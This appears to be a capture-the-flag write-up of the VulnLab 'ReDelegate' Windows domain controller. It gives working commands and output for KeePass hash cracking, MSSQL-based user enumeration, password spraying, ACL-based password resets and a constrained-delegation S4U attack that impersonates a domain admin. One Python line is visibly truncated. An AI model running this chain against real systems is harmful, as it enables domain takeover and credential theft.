> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/redelegate.md). # ReDelegate Anonymous FTP leaked a KeePass DB → cracked with custom wordlist → SQLGuest creds → MSSQL SID enum → password spray → ACL abuse → Constrained Delegation → DC pwned.
**Platform:** VulnLab\ **Difficulty:** Medium\ **OS:** Windows Server 2022\ **Domain:** `redelegate.vl`\ **DC IP:** `10.129.234.50` *** ### 1. Reconnaissance An initial Nmap scan against the target reveals a typical Windows Domain Controller profile: ```bash ┌──(kali㉿kali)-[~] └─$ nmap 10.129.234.50 -sCV Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:18 -0400 Nmap scan report for 10.129.234.50 Host is up (0.15s latency). Not shown: 985 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 10-20-24 01:11AM 434 CyberAudit.txt | 10-20-24 05:14AM 2622 Shared.kdbx |_10-20-24 01:26AM 580 TrainingAgenda.txt 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-15 11:19:37Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=dc.redelegate.vl | Not valid before: 2026-03-14T11:17:27 |_Not valid after: 2026-09-13T11:17:27 |_ssl-date: 2026-03-15T11:20:04+00:00; -4s from scanner time. | rdp-ntlm-info: | Target_Name: REDELEGATE | NetBIOS_Domain_Name: REDELEGATE | NetBIOS_Computer_Name: DC | DNS_Domain_Name: redelegate.vl | DNS_Computer_Name: dc.redelegate.vl | DNS_Tree_Name: redelegate.vl | Product_Version: 10.0.20348 |_ System_Time: 2026-03-15T11:19:57+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -4s, deviation: 0s, median: -4s | smb2-time: | date: 2026-03-15T11:19:55 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required ``` SMB null authentication is accepted (`Null Auth: True`), but share enumeration and RID brute-forcing are both blocked with `STATUS_ACCESS_DENIED`, so SMB alone doesn't give us much. FTP anonymous access, however, is wide open. ```bash ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.234.50 -u "" -p "" SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.50 445 DC [+] redelegate.vl\: ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.234.50 -u "" -p "" --shares SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.50 445 DC [+] redelegate.vl\: SMB 10.129.234.50 445 DC [-] Error enumerating shares: STATUS_ACCESS_DENIED ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.234.50 -u "" -p "" --rid-brute SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.50 445 DC [+] redelegate.vl\: SMB 10.129.234.50 445 DC [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. ``` *** ### 2. Anonymous FTP Enumeration Logging in anonymously to FTP reveals three files: ```bash ┌──(kali㉿kali)-[~/Documents/redelegate] └─$ ftp anonymous@10.129.234.50 Connected to 10.129.234.50. 220 Microsoft FTP Service 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||56593|) 125 Data connection already open; Transfer starting. 10-20-24 01:11AM 434 CyberAudit.txt 10-20-24 05:14AM 2622 Shared.kdbx 10-20-24 01:26AM 580 TrainingAgenda.txt ``` #### CyberAudit.txt ```bash ┌──(kali㉿kali)-[~/Documents/redelegate] └─$ cat CyberAudit.txt OCTOBER 2024 AUDIT FINDINGS [!] CyberSecurity Audit findings: 1) Weak User Passwords 2) Excessive Privilege assigned to users 3) Unused Active Directory objects 4) Dangerous Active Directory ACLs [*] Remediation steps: 5) Prompt users to change their passwords: DONE 6) Check privileges for all users and remove high privileges: DONE 7) Remove unused objects in the domain: IN PROGRESS 8) Recheck ACLs: IN PROGRESS ``` > **Key Takeaway:** ACLs are flagged as dangerous and still being remediated — a strong signal of exploitable misconfigurations. #### TrainingAgenda.txt ```bash ┌──(kali㉿kali)-[~/Documents/redelegate] └─$ cat TrainingAgenda.txt EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024) Friday 4th October | 14.30 - 16.30 - 53 attendees "Don't take the bait" - How to better understand phishing emails and what to do when you see one Friday 11th October | 15.30 - 17.30 - 61 attendees "Social Media and their dangers" - What happens to what you post online? Friday 18th October | 11.30 - 13.30 - 7 attendees "Weak Passwords" - Why "SeasonYear!" is not a good password Friday 25th October | 9.30 - 12.30 - 29 attendees "What now?" - Consequences of a cyber attack and how to mitigate them ``` > **Key Takeaway:** The training content leaks the password pattern employees were warned against — `SeasonYear!` (e.g. `Fall2024!`, `Summer2024!`). This is the password format to target. *** ### 3. KeePass Password Cracking `Shared.kdbx` is a KeePass database. We extract its hash and crack it using a custom wordlist built from the `SeasonYear!` pattern: #### Extract hash ``` ┌──(kali㉿kali)-[~/Documents/redelegate] └─$ keepass2john Shared.kdbx > hash.txt #REMOVE "Shared:" from hash text before using HashCat ``` #### Build custom wordlist ```bash Spring2023! Summer2023! Autumn2023! Fall2023! Winter2023! Spring2024! Summer2024! Autumn2024! Fall2024! Winter2024! Spring2025! Summer2025! Autumn2025! Fall2025! Winter2025! Spring2026! Summer2026! Autumn2026! Fall2026! Winter2026! ``` #### Crack with Hashcat (mode 13400 — KeePass KDBX v2/v3) ```bash ┌──(kali㉿kali)-[~/Documents/redelegate] └─$ hashcat -m 13400 hash.txt passwords.txt -w 3 -O $keepass$*2*600000*0*ce7...SNIP...b4502ca:Fall2024! Session..........: hashcat Status...........: Cracked Hash.Mode........: 13400 (KeePass (KDBX v2/v3)) Hash.Target......: $keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8...4502ca Time.Started.....: Sun Mar 15 08:41:38 2026 (0 secs) Time.Estimated...: Sun Mar 15 08:41:38 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (passwords.txt) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 44 H/s (0.63ms) @ Accel:807 Loops:1000 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 20/20 (100.00%) Rejected.........: 0/20 (0.00%) Restore.Point....: 0/20 (0.00%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-600000 Candidate.Engine.: Device Generator Candidates.#01...: Spring2023! -> Winter2026! Hardware.Mon.#01.: Util: 86% ``` **Result:** `Fall2024!` — cracked instantly. #### KeePass Contents Opening the database reveals stored credentials: | Title | Username | Password | | ----------------- | --------------- | ---------------------- | | FTP | FTPUser | `SguPZBKdRyxWzvXRWy6U` | | FS01 Admin | Administrator | `Spdv41gg4BlBgSYIW1gF` | | WEB01 | WordPress Panel | `cn4KOEgsHqvKXPjEnSD9` | | SQL Guest Access | SQLGuest | `zDPBpaF4FywlqIv11vii` | | Timesheet Manager | Timesheet | `hMFS4I0Kj8Rcd62vqi5X` | | Payroll App | Payroll | `cVkqz4bCM7kJRSNlgx2G` | SMB and LDAP authentication fail for all entries. However, MSSQL (port 1433) is open and not shown by the default Nmap scan — a full port scan (`-p-`) is needed to find it. *** ### 4. MSSQL Access & Domain User Enumeration Connecting as `SQLGuest` to the MSSQL instance: ```bash ┌──(kali㉿kali)-[~/Documents/redelegate] └─$ mssqlclient.py SQLGuest:zDPBpaF4FywlqIv11vii@10.129.234.50 Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000) [!] Press help for extra shell commands SQL (SQLGuest guest@master)> EXEC sp_linkedservers; SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT -------------------------- ---------------- ----------- -------------------------- ------------------ ------------ ------- WIN-Q13O908QBPG\SQLEXPRESS SQLNCLI SQL Server WIN-Q13O908QBPG\SQLEXPRESS NULL NULL NULL SQL (SQLGuest guest@master)> SELECT SYSTEM_USER; -------- SQLGuest SQL (SQLGuest guest@master)> SELECT name FROM sys.databases; name ------ master tempdb model msdb ``` #### RID Brute-Force via SID Resolution SQL Server's `SUSER_SNAME()` function can resolve SIDs to usernames. By manipulating the RID component of the domain SID, we can enumerate domain accounts: First, retrieve the domain SID from a known account: ```bash SQL (SQLGuest guest@master)> SELECT SUSER_SID('REDELEGATE\Administrator'); ----------------------------------------------------------- b'010500000000000515000000a185deefb22433798d8e847af4010000' SQL (SQLGuest guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847ae8030000); ------------------------------------------------------ REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG SQL (SQLGuest guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847ae9030000); ---- NULL SQL (SQLGuest guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847aea030000); -------------- REDELEGATE\DC$ SQL (SQLGuest guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847aeb030000); ---- NULL ``` The domain SID is: `010500000000000515000000a185deefb22433798d8e847a`\ The last 4 bytes are the RID (little-endian). Administrator = RID `0x1F4` = 500. Generate bulk queries for RIDs 1000–1500: ```bash ┌──(kali㉿kali)-[~/Documents/redelegate] └─$ python3 -c 'import struct; [print("SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847a" + struct.pack(" enum.sql ┌──(kali㉿kali)-[~/Documents/redelegate] └─$ sqsh -S 10.129.234.50 -U 'SQLGuest' -P 'zDPBpaF4FywlqIv11vii' -i enum.sql | grep 'REDELEGATE' REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG REDELEGATE\DC$ REDELEGATE\FS01$ REDELEGATE\Christine.Flanders REDELEGATE\Marie.Curie REDELEGATE\Helen.Frost REDELEGATE\Michael.Pontiac REDELEGATE\Mallory.Roberts REDELEGATE\James.Dinkleberg REDELEGATE\Helpdesk REDELEGATE\IT REDELEGATE\Finance REDELEGATE\DnsAdmins REDELEGATE\DnsUpdateProxy REDELEGATE\Ryan.Cooper REDELEGATE\sql_svc ``` *** ### 5. Password Spraying Using the cracked KeePass password `Fall2024!` against all discovered users: ```bash ┌──(kali㉿kali)-[~/Documents/redelegate] └─$ nxc smb 10.129.234.50 -u users.txt -p 'Fall2024!' --continue-on-success SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.50 445 DC [-] redelegate.vl\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\DC$:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\FS01$:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\Christine.Flanders:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [+] redelegate.vl\Marie.Curie:Fall2024! SMB 10.129.234.50 445 DC [-] redelegate.vl\Helen.Frost:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\Michael.Pontiac:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\Mallory.Roberts:Fall2024! STATUS_ACCOUNT_RESTRICTION SMB 10.129.234.50 445 DC [-] redelegate.vl\James.Dinkleberg:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\Helpdesk:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\IT:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\Finance:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\DnsAdmins:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\DnsUpdateProxy:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\Ryan.Cooper:Fall2024! STATUS_LOGON_FAILURE SMB 10.129.234.50 445 DC [-] redelegate.vl\sql_svc:Fall2024! STATUS_LOGON_FAILURE ``` **Result:** `Marie.Curie:Fall2024!` — valid credentials. > **Note:** `Mallory.Roberts` returns `STATUS_ACCOUNT_RESTRICTION` rather than `STATUS_LOGON_FAILURE` — suggesting her account may have valid credentials but a logon restriction (e.g. no interactive logon, disabled, workstation restriction). *** ### 6. ACL Abuse — ForceChangePassword #### BloodHound Analysis BloodHound reveals the following ACL chain: ``` MARIE.CURIE --[MemberOf]--> HELPDESK HELPDESK --[ForceChangePassword]--> HELEN.FROST HELEN.FROST --[MemberOf]--> IT IT --[GenericAll]--> FS01$ (computer object) ``` `Marie.Curie` is a member of the `Helpdesk` group, which has **ForceChangePassword** rights over `Helen.Frost`. This allows us to set her password without knowing the current one.
#### Exploit ```bash ┌──(kali㉿kali)-[~] └─$ bloodyAD --host 10.129.234.50 -d redelegate.vl -u Marie.Curie -p 'Fall2024!' set password Helen.Frost 'Test123!' [+] Password changed successfully! ``` #### WinRM Access ```bash ┌──(kali㉿kali)-[~] └─$ evil-winrm -i 10.129.234.50 -u Helen.Frost -p Test123! *Evil-WinRM* PS C:\Users\Helen.Frost\Documents> type ../Desktop/user.txt 5741xxxxxxxxxxxxxxxxxxxxxxx58bd ``` > **User flag obtained.** *** ### 7. BloodHound Analysis The full attack path from `Helen.Frost` continues: ``` HELEN.FROST --[MemberOf]--> IT IT --[GenericAll]--> FS01$ (computer account) FS01$ --[can be configured for Constrained Delegation]--> cifs/DC.redelegate.vl ``` `IT` has **GenericAll** over `FS01$`, giving full control over that computer object. This means we can: 1. Reset FS01$'s password 2. Configure `msDS-AllowedToDelegateTo` (constrained delegation target) 3. Set `TrustedToAuthForDelegation` (Protocol Transition / S4U2Self) *** ### 8. Constrained Delegation Setup via GenericAll on FS01$ As `Helen.Frost` (member of IT group with GenericAll over FS01$): #### Step 1 — Reset FS01$ computer account password ```bash *Evil-WinRM* PS C:\Users\Helen.Frost\Documents> Set-ADAccountPassword -Identity "CN=FS01,CN=Computers,DC=redelegate,DC=vl" -NewPassword (ConvertTo-SecureString "Test123!" -AsPlainText -Force) ``` #### Step 2 — Configure Constrained Delegation target ```bash *Evil-WinRM* PS C:\Users> Set-ADComputer -Identity FS01 -Replace @{'msDS-AllowedToDelegateTo'='cifs/DC.redelegate.vl'} ``` #### Step 3 — Enable Protocol Transition (S4U2Self) ```bash *Evil-WinRM* PS C:\Users> Set-ADAccountControl -Identity FS01$ -TrustedForDelegation $false *Evil-WinRM* PS C:\Users> Set-ADAccountControl -Identity FS01$ -TrustedToAuthForDelegation $true ``` #### Verify ``` *Evil-WinRM* PS C:\Users> Get-ADComputer -Identity FS01 -Properties msDS-AllowedToDelegateTo DistinguishedName : CN=FS01,CN=Computers,DC=redelegate,DC=vl DNSHostName : Enabled : True msDS-AllowedToDelegateTo : {cifs/DC.redelegate.vl} Name : FS01 ObjectClass : computer ObjectGUID : 0cdb28e9-77ab-4fff-a92e-964adfefe91a SamAccountName : FS01$ SID : S-1-5-21-4024337825-2033394866-2055507597-1103 UserPrincipalName : *Evil-WinRM* PS C:\Users> Get-ADComputer -Identity FS01 -Properties TrustedForDelegation, TrustedToAuthForDelegation | Select Name, TrustedForDelegation, TrustedToAuthForDelegation Name TrustedForDelegation TrustedToAuthForDelegation ---- -------------------- -------------------------- FS01 False True ``` FS01$ is now configured for **constrained delegation with protocol transition** to `cifs/DC.redelegate.vl`. *** ### 9. S4U2Self / S4U2Proxy — Impersonating a Domain Admin #### Choosing the right impersonation target Initial attempts to impersonate `Administrator` failed with `KDC_ERR_BADOPTION`. This means the Administrator account is flagged as **"Account is sensitive and cannot be delegated"** in Active Directory. By enumerating other Domain Admins, `Ryan.Cooper` was found to **lack** this protection, making him a valid impersonation target. #### Step 1 — Get a TGT for FS01$ ```bash ┌──(kali㉿kali)-[~] └─$ impacket-getTGT -dc-ip 10.129.234.50 'redelegate.vl/FS01$:Test123!' Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in FS01$.ccache ┌──(kali㉿kali)-[~] └─$ export KRB5CCNAME=FS01$.ccache ``` #### Step 2 — S4U2Self + S4U2Proxy to get a service ticket as Ryan.Cooper ```bash ┌──(kali㉿kali)-[~] └─$ impacket-getST -k -no-pass -spn 'cifs/DC.redelegate.vl' -impersonate Ryan.Cooper -dc-ip 10.129.234.50 'redelegate.vl/FS01$' Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Impersonating Ryan.Cooper [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Ryan.Cooper@cifs_DC.redelegate.vl@REDELEGATE.VL.ccache ``` **Explanation:** * **S4U2Self:** FS01$ requests a service ticket *to itself* on behalf of Ryan.Cooper (protocol transition — no password needed for Ryan.Cooper) * **S4U2Proxy:** FS01$ uses that ticket to request a forwarded service ticket for `cifs/DC.redelegate.vl` on behalf of Ryan.Cooper #### Step 3 — Access DC as Ryan.Cooper (Domain Admin+Root Flag) ```bash ┌──(kali㉿kali)-[~] └─$ export KRB5CCNAME=Ryan.Cooper@cifs_DC.redelegate.vl@REDELEGATE.VL.ccache ┌──(kali㉿kali)-[~] └─$ impacket-smbclient -k -no-pass DC.redelegate.vl Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # use C$ # cd Users\Administrator\Desktop # ls drw-rw-rw- 0 Wed Oct 30 12:03:55 2024 . drw-rw-rw- 0 Sun Oct 20 11:05:28 2024 .. -rw-rw-rw- 282 Fri May 24 08:00:13 2024 desktop.ini -rw-rw-rw- 34 Sun Mar 15 07:18:13 2026 root.txt # get root.txt ┌──(kali㉿kali)-[~] └─$ cat root.txt 21c2xxxxxxxxxxxxxxxxxxxxxx8186 ``` *** ### 10. Attack Chain Summary ``` [Anonymous FTP] └─> CyberAudit.txt + TrainingAgenda.txt + Shared.kdbx └─> Password pattern: SeasonYear! └─> Hashcat → Fall2024! (KeePass master password) └─> SQLGuest credentials from KeePass └─> [MSSQL Guest Access] └─> SID enumeration → domain user list └─> Password spray → Marie.Curie:Fall2024! └─> [ACL: ForceChangePassword] └─> Reset Helen.Frost → Test123! └─> [WinRM] Helen.Frost → user.txt └─> [ACL: IT GenericAll FS01$] └─> Reset FS01$ password └─> Configure Constrained Delegation + Protocol Transition └─> S4U2Self → S4U2Proxy as Ryan.Cooper └─> cifs/DC.redelegate.vl → root.txt ``` #### Key Vulnerabilities Exploited | Vulnerability | Impact | | -------------------------------------------------------- | ------------------------------- | | Anonymous FTP with sensitive files | Initial foothold / credentials | | Weak password policy (SeasonYear!) | KeePass + domain account access | | Guest MSSQL access with SID enumeration | Domain user enumeration | | Password reuse (Fall2024!) | Valid domain credentials | | ForceChangePassword ACL (Helpdesk → Helen.Frost) | Lateral movement | | GenericAll ACL (IT → FS01$) | Computer object takeover | | Constrained Delegation + Protocol Transition (S4U2Proxy) | Domain Admin impersonation | | Ryan.Cooper not marked "sensitive, cannot be delegated" | Delegation bypass |